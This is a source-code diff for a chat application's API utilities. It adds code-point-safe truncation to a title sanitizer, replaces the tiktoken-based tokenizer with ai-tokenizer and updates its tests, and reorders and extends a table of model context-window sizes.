+      const result = sanitizeTitle(input);
+      expect(result).toBe('B'.repeat(maxContent) + ellipsis);
+      expect(result.length).toBeLessThanOrEqual(MAX_TITLE_LENGTH);
+    });
+
+    it('should trimEnd before appending ellipsis when slice ends with whitespace', () => {
+      const input = 'A'.repeat(maxContent - 1) + ' B' + 'C'.repeat(MAX_TITLE_LENGTH);
+      const result = sanitizeTitle(input);
+      expect(result).toBe('A'.repeat(maxContent - 1) + ellipsis);
+      expect(result).not.toMatch(/ \.\.\./);
+    });
+
+    it('should not produce lone surrogates when truncating emoji titles', () => {
+      const input = 'A'.repeat(MAX_TITLE_LENGTH - 2) + '\u{1F389}rest';
+      const result = sanitizeTitle(input);
+      expect(result.isWellFormed()).toBe(true);
+      expect([...result].length).toBeLessThanOrEqual(MAX_TITLE_LENGTH);
+    });
+
+    it('should handle a title composed entirely of emoji', () => {
+      const emoji = '\u{1F680}';
+      const input = emoji.repeat(MAX_TITLE_LENGTH + 10);
+      const result = sanitizeTitle(input);
+      expect(result.isWellFormed()).toBe(true);
+      expect(result.endsWith(ellipsis)).toBe(true);
+      expect([...result].length).toBeLessThanOrEqual(MAX_TITLE_LENGTH);
+    });
+  });
+
   describe('Idempotency', () => {
     it('should be idempotent', () => {
       const input = '<think>reasoning</think> My Title';
@@ -188,7 +235,7 @@ describe('sanitizeTitle', () => {
       const once = sanitizeTitle(input);
       const twice = sanitizeTitle(once);
       expect(once).toBe(twice);
-      expect(once).toBe('Untitled Conversation');
+      expect(once).toBe(DEFAULT_TITLE_FALLBACK);
     });
   });
 
diff --git a/packages/api/src/utils/sanitizeTitle.ts b/packages/api/src/utils/sanitizeTitle.ts
index 54ce5d18ee..84a442b17f 100644
--- a/packages/api/src/utils/sanitizeTitle.ts
+++ b/packages/api/src/utils/sanitizeTitle.ts
@@ -1,30 +1,35 @@
+/** Max character length for sanitized titles (the output will never exceed this). */
+export const MAX_TITLE_LENGTH = 200;
+export const DEFAULT_TITLE_FALLBACK = 'Untitled Conversation';
+
 /**
- * Sanitizes LLM-generated chat titles by removing <think>...</think> reasoning blocks.
+ * Sanitizes LLM-generated chat titles by removing {@link https://en.wikipedia.org/wiki/Chain-of-thought_prompting <think>}
+ * reasoning blocks, normalizing whitespace, and truncating to {@link MAX_TITLE_LENGTH} characters.
  *
- * This function strips out all reasoning blocks (with optional attributes and newlines)
- * and returns a clean title. If the result is empty, a fallback is returned.
+ * Titles exceeding the limit are truncated at a code-point-safe boundary and suffixed with `...`.
  *
  * @param rawTitle - The raw LLM-generated title string, potentially containing <think> blocks.
- * @returns A sanitized title string, never empty (fallback used if needed).
+ * @returns A sanitized, potentially truncated title string, never empty (fallback used if needed).
  */
 export function sanitizeTitle(rawTitle: string): string {
-  const DEFAULT_FALLBACK = 'Untitled Conversation';
-
-  // Step 1: Input Validation
   if (!rawTitle || typeof rawTitle !== 'string') {
-    return DEFAULT_FALLBACK;
+    return DEFAULT_TITLE_FALLBACK;
   }
 
-  // Step 2: Build and apply the regex to remove all <think>...</think> blocks
   const thinkBlockRegex = /<think\b[^>]*>[\s\S]*?<\/think>/gi;
   const cleaned = rawTitle.replace(thinkBlockRegex, '');
-
-  // Step 3: Normalize whitespace (collapse multiple spaces/newlines to single space)
   const normalized = cleaned.replace(/\s+/g, ' ');
-
-  // Step 4: Trim leading and trailing whitespace
   const trimmed = normalized.trim();
 
-  // Step 5: Return trimmed result or fallback if empty
-  return trimmed.length > 0 ? trimmed : DEFAULT_FALLBACK;
+  if (trimmed.length === 0) {
+    return DEFAULT_TITLE_FALLBACK;
+  }
+
+  const codePoints = [...trimmed];
+  if (codePoints.length > MAX_TITLE_LENGTH) {
+    const truncateAt = MAX_TITLE_LENGTH - 3;
+    return codePoints.slice(0, truncateAt).join('').trimEnd() + '...';
+  }
+
+  return trimmed;
 }
diff --git a/packages/api/src/utils/text.spec.ts b/packages/api/src/utils/text.spec.ts
index 1b8d8aac98..30185f9da7 100644
--- a/packages/api/src/utils/text.spec.ts
+++ b/packages/api/src/utils/text.spec.ts
@@ -65,7 +65,7 @@ const createRealTokenCounter = () => {
   let callCount = 0;
   const tokenCountFn = (text: string): number => {
     callCount++;
-    return Tokenizer.getTokenCount(text, 'cl100k_base');
+    return Tokenizer.getTokenCount(text, 'o200k_base');
   };
   return {
     tokenCountFn,
@@ -590,9 +590,9 @@ describe('processTextWithTokenLimit', () => {
     });
   });
 
-  describe('direct comparison with REAL tiktoken tokenizer', () => {
-    beforeEach(() => {
-      Tokenizer.freeAndResetAllEncoders();
+  describe('direct comparison with REAL ai-tokenizer', () => {
+    beforeAll(async () => {
+      await Tokenizer.initEncoding('o200k_base');
     });
 
     it('should produce valid truncation with real tokenizer', async () => {
@@ -611,7 +611,7 @@ describe('processTextWithTokenLimit', () => {
       expect(result.text.length).toBeLessThan(text.length);
     });
 
-    it('should use fewer tiktoken calls than old implementation (realistic text)', async () => {
+    it('should use fewer tokenizer calls than old implementation (realistic text)', async () => {
       const oldCounter = createRealTokenCounter();
       const newCounter = createRealTokenCounter();
       const text = createRealisticText(15000);
@@ -623,8 +623,6 @@ describe('processTextWithTokenLimit', () => {
         tokenCountFn: oldCounter.tokenCountFn,
       });
 
-      Tokenizer.freeAndResetAllEncoders();
-
       await processTextWithTokenLimit({
         text,
         tokenLimit,
@@ -634,17 +632,17 @@ describe('processTextWithTokenLimit', () => {
       const oldCalls = oldCounter.getCallCount();
       const newCalls = newCounter.getCallCount();
 
-      console.log(`[Real tiktoken ~15k tokens] OLD: ${oldCalls} calls, NEW: ${newCalls} calls`);
-      console.log(`[Real tiktoken] Reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`);
+      console.log(`[Real tokenizer ~15k tokens] OLD: ${oldCalls} calls, NEW: ${newCalls} calls`);
+      console.log(`[Real tokenizer] Reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`);
 
       expect(newCalls).toBeLessThan(oldCalls);
     });
 
-    it('should handle the reported user scenario with real tokenizer (~120k tokens)', async () => {
+    it('should handle large text with real tokenizer (~20k tokens)', async () => {
       const oldCounter = createRealTokenCounter();
       const newCounter = createRealTokenCounter();
-      const text = createRealisticText(120000);
-      const tokenLimit = 100000;
+      const text = createRealisticText(20000);
+      const tokenLimit = 15000;
 
       const startOld = performance.now();
       await processTextWithTokenLimitOLD({
@@ -654,8 +652,6 @@ describe('processTextWithTokenLimit', () => {
       });
       const timeOld = performance.now() - startOld;
 
-      Tokenizer.freeAndResetAllEncoders();
-
       const startNew = performance.now();
       const result = await processTextWithTokenLimit({
         text,
@@ -667,9 +663,9 @@ describe('processTextWithTokenLimit', () => {
       const oldCalls = oldCounter.getCallCount();
       const newCalls = newCounter.getCallCount();
 
-      console.log(`\n[REAL TIKTOKEN - User reported scenario: ~120k tokens]`);
-      console.log(`OLD implementation: ${oldCalls} tiktoken calls, ${timeOld.toFixed(0)}ms`);
-      console.log(`NEW implementation: ${newCalls} tiktoken calls, ${timeNew.toFixed(0)}ms`);
+      console.log(`\n[REAL TOKENIZER - ~20k tokens]`);
+      console.log(`OLD implementation: ${oldCalls} tokenizer calls, ${timeOld.toFixed(0)}ms`);
+      console.log(`NEW implementation: ${newCalls} tokenizer calls, ${timeNew.toFixed(0)}ms`);
       console.log(`Call reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`);
       console.log(`Time reduction: ${((1 - timeNew / timeOld) * 100).toFixed(1)}%`);
       console.log(
@@ -684,8 +680,8 @@ describe('processTextWithTokenLimit', () => {
     it('should achieve at least 70% reduction with real tokenizer', async () => {
       const oldCounter = createRealTokenCounter();
       const newCounter = createRealTokenCounter();
-      const text = createRealisticText(50000);
-      const tokenLimit = 10000;
+      const text = createRealisticText(15000);
+      const tokenLimit = 5000;
 
       await processTextWithTokenLimitOLD({
         text,
@@ -693,8 +689,6 @@ describe('processTextWithTokenLimit', () => {
         tokenCountFn: oldCounter.tokenCountFn,
       });
 
-      Tokenizer.freeAndResetAllEncoders();
-
       await processTextWithTokenLimit({
         text,
         tokenLimit,
@@ -706,7 +700,7 @@ describe('processTextWithTokenLimit', () => {
       const reduction = 1 - newCalls / oldCalls;
 
       console.log(
-        `[Real tiktoken 50k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`,
+        `[Real tokenizer 15k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`,
       );
 
       expect(reduction).toBeGreaterThanOrEqual(0.7);
@@ -714,10 +708,6 @@ describe('processTextWithTokenLimit', () => {
   });
 
   describe('using countTokens async function from @librechat/api', () => {
-    beforeEach(() => {
-      Tokenizer.freeAndResetAllEncoders();
-    });
-
     it('countTokens should return correct token count', async () => {
       const text = 'Hello, world!';
       const count = await countTokens(text);
@@ -759,8 +749,6 @@ describe('processTextWithTokenLimit', () => {
         tokenCountFn: oldCounter.tokenCountFn,
       });
 
-      Tokenizer.freeAndResetAllEncoders();
-
       await processTextWithTokenLimit({
         text,
         tokenLimit,
@@ -776,11 +764,11 @@ describe('processTextWithTokenLimit', () => {
       expect(newCalls).toBeLessThan(oldCalls);
     });
 
-    it('should handle user reported scenario with countTokens (~120k tokens)', async () => {
+    it('should handle large text with countTokens (~20k tokens)', async () => {
       const oldCounter = createCountTokensCounter();
       const newCounter = createCountTokensCounter();
-      const text = createRealisticText(120000);
-      const tokenLimit = 100000;
+      const text = createRealisticText(20000);
+      const tokenLimit = 15000;
 
       const startOld = performance.now();
       await processTextWithTokenLimitOLD({
@@ -790,8 +778,6 @@ describe('processTextWithTokenLimit', () => {
       });
       const timeOld = performance.now() - startOld;
 
-      Tokenizer.freeAndResetAllEncoders();
-
       const startNew = performance.now();
       const result = await processTextWithTokenLimit({
         text,
@@ -803,7 +789,7 @@ describe('processTextWithTokenLimit', () => {
       const oldCalls = oldCounter.getCallCount();
       const newCalls = newCounter.getCallCount();
 
-      console.log(`\n[countTokens - User reported scenario: ~120k tokens]`);
+      console.log(`\n[countTokens - ~20k tokens]`);
       console.log(`OLD implementation: ${oldCalls} countTokens calls, ${timeOld.toFixed(0)}ms`);
       console.log(`NEW implementation: ${newCalls} countTokens calls, ${timeNew.toFixed(0)}ms`);
       console.log(`Call reduction: ${((1 - newCalls / oldCalls) * 100).toFixed(1)}%`);
@@ -820,8 +806,8 @@ describe('processTextWithTokenLimit', () => {
     it('should achieve at least 70% reduction with countTokens', async () => {
       const oldCounter = createCountTokensCounter();
       const newCounter = createCountTokensCounter();
-      const text = createRealisticText(50000);
-      const tokenLimit = 10000;
+      const text = createRealisticText(15000);
+      const tokenLimit = 5000;
 
       await processTextWithTokenLimitOLD({
         text,
@@ -829,8 +815,6 @@ describe('processTextWithTokenLimit', () => {
         tokenCountFn: oldCounter.tokenCountFn,
       });
 
-      Tokenizer.freeAndResetAllEncoders();
-
       await processTextWithTokenLimit({
         text,
         tokenLimit,
@@ -842,7 +826,7 @@ describe('processTextWithTokenLimit', () => {
       const reduction = 1 - newCalls / oldCalls;
 
       console.log(
-        `[countTokens 50k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`,
+        `[countTokens 15k tokens] OLD: ${oldCalls}, NEW: ${newCalls}, Reduction: ${(reduction * 100).toFixed(1)}%`,
       );
 
       expect(reduction).toBeGreaterThanOrEqual(0.7);
diff --git a/packages/api/src/utils/tokenizer.spec.ts b/packages/api/src/utils/tokenizer.spec.ts
index edd6fe14de..b8c1bd8d98 100644
--- a/packages/api/src/utils/tokenizer.spec.ts
+++ b/packages/api/src/utils/tokenizer.spec.ts
@@ -1,12 +1,3 @@
-/**
- * @file Tokenizer.spec.cjs
- *
- * Tests the real TokenizerSingleton (no mocking of `tiktoken`).
- * Make sure to install `tiktoken` and have it configured properly.
- */
-
-import { logger } from '@librechat/data-schemas';
-import type { Tiktoken } from 'tiktoken';
 import Tokenizer from './tokenizer';
 
 jest.mock('@librechat/data-schemas', () => ({
@@ -17,127 +8,49 @@ jest.mock('@librechat/data-schemas', () => ({
 
 describe('Tokenizer', () => {
   it('should be a singleton (same instance)', async () => {
-    const AnotherTokenizer = await import('./tokenizer'); // same path
+    const AnotherTokenizer = await import('./tokenizer');
     expect(Tokenizer).toBe(AnotherTokenizer.default);
   });
 
-  describe('getTokenizer', () => {
-    it('should create an encoder for an explicit model name (e.g., "gpt-4")', () => {
-      // The real `encoding_for_model` will be called internally
-      // as soon as we pass isModelName = true.
-      const tokenizer = Tokenizer.getTokenizer('gpt-4', true);
-
-      // Basic sanity checks
-      expect(tokenizer).toBeDefined();
-      // You can optionally check certain properties from `tiktoken` if they exist
-      // e.g., expect(typeof tokenizer.encode).toBe('function');
+  describe('initEncoding', () => {
+    it('should load o200k_base encoding', async () => {
+      await Tokenizer.initEncoding('o200k_base');
+      const count = Tokenizer.getTokenCount('Hello, world!', 'o200k_base');
+      expect(count).toBeGreaterThan(0);
     });
 
-    it('should create an encoder for a known encoding (e.g., "cl100k_base")', () => {
-      // The real `get_encoding` will be called internally
-      // as soon as we pass isModelName = false.
-      const tokenizer = Tokenizer.getTokenizer('cl100k_base', false);
-
-      expect(tokenizer).toBeDefined();
-      // e.g., expect(typeof tokenizer.encode).toBe('function');
+    it('should load claude encoding', async () => {
+      await Tokenizer.initEncoding('claude');
+      const count = Tokenizer.getTokenCount('Hello, world!', 'claude');
+      expect(count).toBeGreaterThan(0);
     });
 
-    it('should return cached tokenizer if previously fetched', () => {
-      const tokenizer1 = Tokenizer.getTokenizer('cl100k_base', false);
-      const tokenizer2 = Tokenizer.getTokenizer('cl100k_base', false);
-      // Should be the exact same instance from the cache
-      expect(tokenizer1).toBe(tokenizer2);
-    });
-  });
-
-  describe('freeAndResetAllEncoders', () => {
-    beforeEach(() => {
-      jest.clearAllMocks();
-    });
-
-    it('should free all encoders and reset tokenizerCallsCount to 1', () => {
-      // By creating two different encodings, we populate the cache
-      Tokenizer.getTokenizer('cl100k_base', false);
-      Tokenizer.getTokenizer('r50k_base', false);
-
-      // Now free them
-      Tokenizer.freeAndResetAllEncoders();
-
-      // The internal cache is cleared
-      expect(Tokenizer.tokenizersCache['cl100k_base']).toBeUndefined();
-      expect(Tokenizer.tokenizersCache['r50k_base']).toBeUndefined();
-
-      // tokenizerCallsCount is reset to 1
-      expect(Tokenizer.tokenizerCallsCount).toBe(1);
-    });
-
-    it('should catch and log errors if freeing fails', () => {
-      // Mock logger.error before the test
-      const mockLoggerError = jest.spyOn(logger, 'error');
-
-      // Set up a problematic tokenizer in the cache
-      Tokenizer.tokenizersCache['cl100k_base'] = {
-        free() {
-          throw new Error('Intentional free error');
-        },
-      } as unknown as Tiktoken;
-
-      // Should not throw uncaught errors
-      Tokenizer.freeAndResetAllEncoders();
-
-      // Verify logger.error was called with correct arguments
-      expect(mockLoggerError).toHaveBeenCalledWith(
-        '[Tokenizer] Free and reset encoders error',
-        expect.any(Error),
-      );
-
-      // Clean up
-      mockLoggerError.mockRestore();
-      Tokenizer.tokenizersCache = {};
+    it('should deduplicate concurrent init calls', async () => {
+      const [, , count] = await Promise.all([
+        Tokenizer.initEncoding('o200k_base'),
+        Tokenizer.initEncoding('o200k_base'),
+        Tokenizer.initEncoding('o200k_base').then(() =>
+          Tokenizer.getTokenCount('test', 'o200k_base'),
+        ),
+      ]);
+      expect(count).toBeGreaterThan(0);
     });
   });
 
   describe('getTokenCount', () => {
-    beforeEach(() => {
-      jest.clearAllMocks();
-      Tokenizer.freeAndResetAllEncoders();
+    beforeAll(async () => {
+      await Tokenizer.initEncoding('o200k_base');
+      await Tokenizer.initEncoding('claude');
     });
 
     it('should return the number of tokens in the given text', () => {
-      const text = 'Hello, world!';
-      const count = Tokenizer.getTokenCount(text, 'cl100k_base');
+      const count = Tokenizer.getTokenCount('Hello, world!', 'o200k_base');
       expect(count).toBeGreaterThan(0);
     });
 
-    it('should reset encoders if an error is thrown', () => {
-      // We can simulate an error by temporarily overriding the selected tokenizer's `encode` method.
-      const tokenizer = Tokenizer.getTokenizer('cl100k_base', false);
-      const originalEncode = tokenizer.encode;
-      tokenizer.encode = () => {
-        throw new Error('Forced error');
-      };
-
-      // Despite the forced error, the code should catch and reset, then re-encode
-      const count = Tokenizer.getTokenCount('Hello again', 'cl100k_base');
+    it('should count tokens using claude encoding', () => {
+      const count = Tokenizer.getTokenCount('Hello, world!', 'claude');
       expect(count).toBeGreaterThan(0);
-
-      // Restore the original encode
-      tokenizer.encode = originalEncode;
-    });
-
-    it('should reset tokenizers after 25 calls', () => {
-      // Spy on freeAndResetAllEncoders
-      const resetSpy = jest.spyOn(Tokenizer, 'freeAndResetAllEncoders');
-
-      // Make 24 calls; should NOT reset yet
-      for (let i = 0; i < 24; i++) {
-        Tokenizer.getTokenCount('test text', 'cl100k_base');
-      }
-      expect(resetSpy).not.toHaveBeenCalled();
-
-      // 25th call triggers the reset
-      Tokenizer.getTokenCount('the 25th call!', 'cl100k_base');
-      expect(resetSpy).toHaveBeenCalledTimes(1);
     });
   });
 });
diff --git a/packages/api/src/utils/tokenizer.ts b/packages/api/src/utils/tokenizer.ts
index 0b0282d36b..4c638c948e 100644
--- a/packages/api/src/utils/tokenizer.ts
+++ b/packages/api/src/utils/tokenizer.ts
@@ -1,74 +1,46 @@
 import { logger } from '@librechat/data-schemas';
-import { encoding_for_model as encodingForModel, get_encoding as getEncoding } from 'tiktoken';
-import type { Tiktoken, TiktokenModel, TiktokenEncoding } from 'tiktoken';
+import { Tokenizer as AiTokenizer } from 'ai-tokenizer';
 
-interface TokenizerOptions {
-  debug?: boolean;
-}
+export type EncodingName = 'o200k_base' | 'claude';
+
+type EncodingData = ConstructorParameters<typeof AiTokenizer>[0];
 
 class Tokenizer {
-  tokenizersCache: Record<string, Tiktoken>;
-  tokenizerCallsCount: number;
-  private options?: TokenizerOptions;
+  private tokenizersCache: Partial<Record<EncodingName, AiTokenizer>> = {};
+  private loadingPromises: Partial<Record<EncodingName, Promise<void>>> = {};
 
-  constructor() {
-    this.tokenizersCache = {};
-    this.tokenizerCallsCount = 0;
-  }
-
-  getTokenizer(
-    encoding: TiktokenModel | TiktokenEncoding,
-    isModelName = false,
-    extendSpecialTokens: Record<string, number> = {},
-  ): Tiktoken {
-    let tokenizer: Tiktoken;
+  /** Pre-loads an encoding so that subsequent getTokenCount calls are accurate. */
+  async initEncoding(encoding: EncodingName): Promise<void> {
     if (this.tokenizersCache[encoding]) {
-      tokenizer = this.tokenizersCache[encoding];
-    } else {
-      if (isModelName) {
-        tokenizer = encodingForModel(encoding as TiktokenModel, extendSpecialTokens);
-      } else {
-        tokenizer = getEncoding(encoding as TiktokenEncoding, extendSpecialTokens);
-      }
-      this.tokenizersCache[encoding] = tokenizer;
+      return;
     }
-    return tokenizer;
+    if (this.loadingPromises[encoding]) {
+      return this.loadingPromises[encoding];
+    }
+    this.loadingPromises[encoding] = (async () => {
+      const data: EncodingData =
+        encoding === 'claude'
+          ? await import('ai-tokenizer/encoding/claude')
+          : await import('ai-tokenizer/encoding/o200k_base');
+      this.tokenizersCache[encoding] = new AiTokenizer(data);
+    })();
+    return this.loadingPromises[encoding];
   }
 
-  freeAndResetAllEncoders(): void {
+  getTokenCount(text: string, encoding: EncodingName = 'o200k_base'): number {
+    const tokenizer = this.tokenizersCache[encoding];
+    if (!tokenizer) {
+      this.initEncoding(encoding);
+      return Math.ceil(text.length / 4);
+    }
     try {
-      Object.keys(this.tokenizersCache).forEach((key) => {
-        if (this.tokenizersCache[key]) {
-          this.tokenizersCache[key].free();
-          delete this.tokenizersCache[key];
-        }
-      });
-      this.tokenizerCallsCount = 1;
-    } catch (error) {
-      logger.error('[Tokenizer] Free and reset encoders error', error);
-    }
-  }
-
-  resetTokenizersIfNecessary(): void {
-    if (this.tokenizerCallsCount >= 25) {
-      if (this.options?.debug) {
-        logger.debug('[Tokenizer] freeAndResetAllEncoders: reached 25 encodings, resetting...');
-      }
-      this.freeAndResetAllEncoders();
-    }
-    this.tokenizerCallsCount++;
-  }
-
-  getTokenCount(text: string, encoding: TiktokenModel | TiktokenEncoding = 'cl100k_base'): number {
-    this.resetTokenizersIfNecessary();
-    try {
-      const tokenizer = this.getTokenizer(encoding);
-      return tokenizer.encode(text, 'all').length;
+      return tokenizer.count(text);
     } catch (error) {
       logger.error('[Tokenizer] Error getting token count:', error);
-      this.freeAndResetAllEncoders();
-      const tokenizer = this.getTokenizer(encoding);
-      return tokenizer.encode(text, 'all').length;
+      delete this.tokenizersCache[encoding];
+      delete this.loadingPromises[encoding];
+      this.initEncoding(encoding);
+      return Math.ceil(text.length / 4);
     }
   }
 }
@@ -76,13 +48,13 @@ class Tokenizer {
 const TokenizerSingleton = new Tokenizer();
 
 /**
- * Counts the number of tokens in a given text using tiktoken.
- * This is an async wrapper around Tokenizer.getTokenCount for compatibility.
- * @param text - The text to be tokenized. Defaults to an empty string if not provided.
+ * Counts the number of tokens in a given text using ai-tokenizer with o200k_base encoding.
+ * @param text - The text to count tokens in. Defaults to an empty string.
  * @returns The number of tokens in the provided text.
  */
 export async function countTokens(text = ''): Promise<number> {
-  return TokenizerSingleton.getTokenCount(text, 'cl100k_base');
+  await TokenizerSingleton.initEncoding('o200k_base');
+  return TokenizerSingleton.getTokenCount(text, 'o200k_base');
 }
 
 export default TokenizerSingleton;
diff --git a/packages/api/src/utils/tokens.ts b/packages/api/src/utils/tokens.ts
index a824afa489..ae09da4f28 100644
--- a/packages/api/src/utils/tokens.ts
+++ b/packages/api/src/utils/tokens.ts
@@ -5,38 +5,30 @@ import type { EndpointTokenConfig, TokenConfig } from '~/types';
 /**
  * Model Token Configuration Maps
  *
- * IMPORTANT: Key Ordering for Pattern Matching
- * ============================================
- * The `findMatchingPattern` function iterates through object keys in REVERSE order
- * (last-defined keys are checked first) and uses `modelName.includes(key)` for matching.
+ * Pattern Matching
+ * ================
+ * `findMatchingPattern` uses `modelName.includes(key)` and selects the **longest**
+ * matching key. If a key's length equals the model name's length (exact match), it
+ * returns immediately — no further keys are checked.
  *
- * This means:
- * 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot")
- * 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5")
+ * For keys of different lengths, definition order does not affect the result — the
+ * longest match always wins. For **same-length ties**, the function iterates in
+ * reverse, so the last-defined key wins. Key ordering therefore matters for:
  *
- * Example ordering for Kimi models:
- *   kimi: 262144,           // Base pattern - checked last
- *   'kimi-k2': 262144,      // More specific - checked before "kimi"
- *   'kimi-k2.5': 262144,    // Most specific - checked first
- *
- * Why this matters:
- * - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
- * - If "kimi" were checked first, it would incorrectly match "kimi-k2.5"
- * - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
- *
- * When adding new model families:
- * 1. Define the base/generic pattern first
- * 2. Define increasingly specific patterns after
- * 3. Ensure no pattern is a substring of another that should match differently
+ * 1. **Performance**: list older/legacy models first, newer models last — newer
+ *    models are more commonly used and will match earlier in the reverse scan.
+ * 2. **Same-length tie-breaking**: in `aggregateModels`, OpenAI is spread last
+ *    so its keys are preferred when two keys of equal length both match.
  */
 
 const openAIModels = {
-  'o4-mini': 200000,
-  'o3-mini': 195000, // -5000 from max
-  o3: 200000,
-  o1: 195000, // -5000 from max
-  'o1-mini': 127500, // -500 from max
-  'o1-preview': 127500, // -500 from max
+  'gpt-3.5-turbo-0301': 4092, // -5 from max
+  'gpt-3.5-turbo-0613': 4092, // -5 from max
+  'gpt-3.5-turbo-16k': 16375, // -10 from max
+  'gpt-3.5-turbo-16k-0613': 16375, // -10 from max
+  'gpt-3.5-turbo-1106': 16375, // -10 from max
+  'gpt-3.5-turbo-0125': 16375, // -10 from max
+  'gpt-3.5-turbo': 16375, // -10 from max
   'gpt-4': 8187, // -5 from max
   'gpt-4-0613': 8187, // -5 from max
   'gpt-4-32k': 32758, // -10 from max
@@ -44,28 +36,31 @@ const openAIModels = {
   'gpt-4-32k-0613': 32758, // -10 from max
   'gpt-4-1106': 127500, // -500 from max
   'gpt-4-0125': 127500, // -500 from max
+  'gpt-4-turbo': 127500, // -500 from max
+  'gpt-4-vision': 127500, // -500 from max
+  'gpt-4o-2024-05-13': 127500, // -500 from max
+  'gpt-4o-mini': 127500, // -500 from max
+  'gpt-4o': 127500, // -500 from max
   'gpt-4.5': 127500, // -500 from max
+  'o1-mini': 127500, // -500 from max
+  'o1-preview': 127500, // -500 from max
+  o1: 195000, // -5000 from max
+  'o3-mini': 195000, // -5000 from max
+  o3: 200000,
+  'o4-mini': 200000,
   'gpt-4.1': 1047576,
   'gpt-4.1-mini': 1047576,
   'gpt-4.1-nano': 1047576,
   'gpt-5': 400000,
   'gpt-5.1': 400000,
   'gpt-5.2': 400000,
+  'gpt-5.3': 400000,
+  'gpt-5.4': 272000, // standard context; 1M experimental available via API opt-in (2x rate)
+  'gpt-5.4-pro': 272000, // same window as gpt-5.4
   'gpt-5-mini': 400000,
   'gpt-5-nano': 400000,
   'gpt-5-pro': 400000,
-  'gpt-4o': 127500, // -500 from max
-  'gpt-4o-mini': 127500, // -500 from max
-  'gpt-4o-2024-05-13': 127500, // -500 from max
-  'gpt-4-turbo': 127500, // -500 from max
-  'gpt-4-vision': 127500, // -500 from max
-  'gpt-3.5-turbo': 16375, // -10 from max
-  'gpt-3.5-turbo-0613': 4092, // -5 from max
-  'gpt-3.5-turbo-0301': 4092, // -5 from max
-  'gpt-3.5-turbo-16k': 16375, // -10 from max
-  'gpt-3.5-turbo-16k-0613': 16375, // -10 from max
-  'gpt-3.5-turbo-1106': 16375, // -10 from max
-  'gpt-3.5-turbo-0125': 16375, // -10 from max
+  'gpt-5.2-pro': 400000,
 };
 
 const mistralModels = {
@@ -74,15 +69,15 @@ const mistralModels = {
   'mistral-small': 31990, // -10 from max
   'mixtral-8x7b': 31990, // -10 from max
   'mixtral-8x22b': 65536,
-  'mistral-large': 131000,
   'mistral-large-2402': 127500,
   'mistral-large-2407': 127500,
+  'mistral-large': 131000,
+  'mistral-saba': 32000,
+  'ministral-3b': 131000,
+  'ministral-8b': 131000,
   'mistral-nemo': 131000,
   'pixtral-large': 131000,
-  'mistral-saba': 32000,
   codestral: 256000,
-  'ministral-8b': 131000,
-  'ministral-3b': 131000,
 };
 
 const cohereModels = {
@@ -103,30 +98,22 @@ const googleModels = {
   'gemma-3-27b': 131072,
   gemini: 30720, // -2048 from max
   'gemini-pro-vision': 12288,
+  'gemini-1.5': 1000000,
+  'gemini-1.5-flash': 1000000,
+  'gemini-1.5-flash-8b': 1000000,
+  'gemini-2.0': 2000000,
+  'gemini-2.0-flash': 1000000,
+  'gemini-2.0-flash-lite': 1000000,
   'gemini-exp': 2000000,
-  'gemini-3': 1000000, // 1M input tokens, 64k output tokens
-  'gemini-3-pro-image': 1000000,
-  'gemini-2.5': 1000000, // 1M input tokens, 64k output tokens
+  'gemini-2.5': 1000000,
   'gemini-2.5-pro': 1000000,
   'gemini-2.5-flash': 1000000,
   'gemini-2.5-flash-image': 1000000,
   'gemini-2.5-flash-lite': 1000000,
-  'gemini-2.0': 2000000,
-  'gemini-2.0-flash': 1000000,
-  'gemini-2.0-flash-lite': 1000000,
-  'gemini-1.5': 1000000,
-  'gemini-1.5-flash': 1000000,
-  'gemini-1.5-flash-8b': 1000000,
-  'text-bison-32k': 32758, // -10 from max
-  'chat-bison-32k': 32758, // -10 from max
-  'code-bison-32k': 32758, // -10 from max
-  'codechat-bison-32k': 32758,
-  /* Codey, -5 from max: 6144 */
-  'code-': 6139,
-  'codechat-': 6139,
-  /* PaLM2, -5 from max: 8192 */
-  'text-': 8187,
-  'chat-': 8187,
+  'gemini-3': 1000000,
+  'gemini-3-pro-image': 1000000,
+  'gemini-3.1': 1000000,
+  'gemini-3.1-flash-lite': 1000000,
 };
 
 const anthropicModels = {
@@ -138,49 +125,35 @@ const anthropicModels = {
   'claude-3-haiku': 200000,
   'claude-3-sonnet': 200000,
   'claude-3-opus': 200000,
-  'claude-3.5-haiku': 200000,
-  'claude-3-5-haiku': 200000,
   'claude-3-5-sonnet': 200000,
   'claude-3.5-sonnet': 200000,
-  'claude-3-7-sonnet': 200000,
-  'claude-3.7-sonnet': 200000,
   'claude-3-5-sonnet-latest': 200000,
   'claude-3.5-sonnet-latest': 200000,
-  'claude-haiku-4-5': 200000,
-  'claude-sonnet-4': 1000000,
-  'claude-sonnet-4-6': 1000000,
+  'claude-3-5-haiku': 200000,
+  'claude-3.5-haiku': 200000,
+  'claude-3-7-sonnet': 200000,
+  'claude-3.7-sonnet': 200000,
   'claude-4': 200000,
+  'claude-haiku-4-5': 200000,
   'claude-opus-4': 200000,
   'claude-opus-4-5': 200000,
+  'claude-sonnet-4': 1000000,
+  'claude-sonnet-4-6': 1000000,
   'claude-opus-4-6': 1000000,
 };
 
 const deepseekModels = {
   deepseek: 128000,
   'deepseek-chat': 128000,
-  'deepseek-reasoner': 128000,
-  'deepseek-r1': 128000,
   'deepseek-v3': 128000,
   'deepseek.r1': 128000,
+  'deepseek-r1': 128000,
+  'deepseek-reasoner': 128000,
 };
 
 const moonshotModels = {
-  // Base patterns (check last due to reverse iteration)
-  kimi: 262144,
+  // moonshot-v1 series (older)
   moonshot: 131072,
-  // kimi-k2 series (specific patterns)
-  'kimi-latest': 128000,
-  'kimi-k2': 262144,
-  'kimi-k2.5': 262144,
-  'kimi-k2-turbo': 262144,
-  'kimi-k2-turbo-preview': 262144,
-  'kimi-k2-0905': 262144,
-  'kimi-k2-0905-preview': 262144,
-  'kimi-k2-0711': 131072,
-  'kimi-k2-0711-preview': 131072,
-  'kimi-k2-thinking': 262144,
